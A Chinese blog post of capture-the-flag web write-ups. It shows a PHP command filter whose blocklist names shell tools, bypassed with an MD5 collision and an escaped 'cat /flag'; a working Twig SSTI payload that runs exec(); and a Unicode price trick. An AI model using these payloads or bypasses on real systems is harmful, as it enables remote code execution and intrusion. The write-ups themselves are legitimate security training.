在url里发现了img参数是一段base64编码,同时还存在cmd参数,试着传入一些命令,无果。
看一下img参数,base64解码一下,MzUzNTM1MmU3MDZlNjc=
还是一段base64编码,再解码得到 3535352e706e67
应该是一段16进制数,hexdecode 得到 555.png
这里想到 试着把 index.php按照此方式编码一下传给img。
先base16, 再进行两次base64 得到:TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
传入img参数,访问一下,发现图片消失了,把源码里的base64部分解码得到源代码。
重点是下面这段代码。
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|/i", $cmd)) {
echo("forbid ~");
echo "";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
要通过md5强碰撞,来执行我们的echo`cmd` . 可以参考下面两个文章。
如何用不同的数值构建一样的MD5 - 第二届强网杯 MD5碰撞 writeup - 先知社区
使用fastcoll生成字符串MD5碰撞_KogRow的博客-CSDN博客_fastcoll
这里生成的a和b是已经经过url编码的: fuck%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00O%EC%28%FE%D4%C2%22%FA%40Lx%CFC%3CqMx%975%EA%0F%B7Tq%28.%7F%26%D7%8A2%F8%EC%08%BC%E9%60j%0B%DA%CF%05%40q%C2%DDa7%D0%40%C6i%97%10l%84%9D%BA%7FK%7E%FEq%A6%3F%E4%5Dl%06%7F%7F%0A%05%F6%DB%EDQ%ED%28%3D%CEhjj%15%FC%A0X%C1%1B%F5%CC%CD0%5D%A2%F5P%17%03.%8Crb%93%83%C0%EF%C2AF%88%DC%97%A0%85%CF%DA%A2G%F6%D7%0Cw%0E%A3%94%9B
fuck%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00O%EC%28%FE%D4%C2%22%FA%40Lx%CFC%3CqMx%975j%0F%B7Tq%28.%7F%26%D7%8A2%F8%EC%08%BC%E9%60j%0B%DA%CF%05%40q%C2%5Db7%D0%40%C6i%97%10l%84%9D%BA%7F%CB%7E%FEq%A6%3F%E4%5Dl%06%7F%7F%0A%05%F6%DB%EDQ%ED%28%3D%CEhj%EA%15%FC%A0X%C1%1B%F5%CC%CD0%5D%A2%F5P%17%03.%8Crb%93%83%C0%EF%C2%C1E%88%DC%97%A0%85%CF%DA%A2G%F6%D7%0C%F7%0E%A3%94%9B
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|/i", $cmd)) {
echo("forbid ~");
echo "";
从这可以看出,好多命令都被过滤了不能用。不过dir没有被过滤。用dir查看一下目录。
空格也被过滤了,可以使用%20,/没被过滤
(原因:这里\没有被过滤的原因可能是正则匹配中|\|\\|先被php解释器(第一次)解释成||\|,然后正则(第二次)就变成了过滤|\)
使用burp先把get包转换为post包,然后为了不出现一大串base64加密的字符,将img参数去掉。然后传入上面已经构造好的a和b参数:
linux里可以用\。ca\t%20/flag绕过过滤。得到flag。
在hint中得到提示:
回到flag.php
输入admin 登录 Hello admin 然后刷新页面抓包,在cookie中发现 user=admin
测试发现存在SSTI模板注入。
{{7*7}}回显49
{{7*'7'}}回显49 说明是Twig模板,但是如果返回7777777,则说明是Jinia2模板
由于是Twig注入,所以是有固定的payload
这个函数中调用了一个 call_user_function 方法
public function getFilter($name)
{
[snip]
foreach ($this->filterCallbacks as $callback) {
if (false !== $filter = call_user_func($callback, $name)) {//注意这行
return $filter;
}
}
return false;
}
public function registerUndefinedFilterCallback($callable)
{
$this->filterCallbacks[] = $callable;
}
我们只要把exec() 作为回调函数传进去就能实现命令执行了
查看id:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
查看flag:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
得到flag。
SSTI详细可参考:一篇文章带你理解漏洞之 SSTI 漏洞 | K0rz3n's Blog
[ASIS 2019]Unicorn shop进去发现是可以输入id和price来购买商品。
id=1,2,3时输入正确价格,返回
id=4 price=1337时返回
只能输入一个字符。
查看源码得到提示,utf really importtant。
考点unicode编码安全问题 我们可以用别的语言来表示数字
我们找一个Unicode编码 >1337的。
一个搜unicode的网站:
Unicode - Compart
其utf-8为0xE2 0x86 0x88 化为url
id=4&price=%E2%86%88
得到flag。
id=4&price=万 也可以。好像不用专门去找
看这位师傅博客写的,提到了源码:[ASIS 2019]Unicorn shop ( 自找 wp 记录)_kee_ke的博客-CSDN博客
注意框起来的那两处的作用就是把传入的price 参数 url 解码之后utf-8解码,然后返回对应的 Numeric Value 值
所以我们传入万,也就转化成了相应的浮点数,因而>1337.这也是为什么我们要找unicode >1337的原因了。
[CISCN 2019 初赛]Love Math
关注
打赏
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?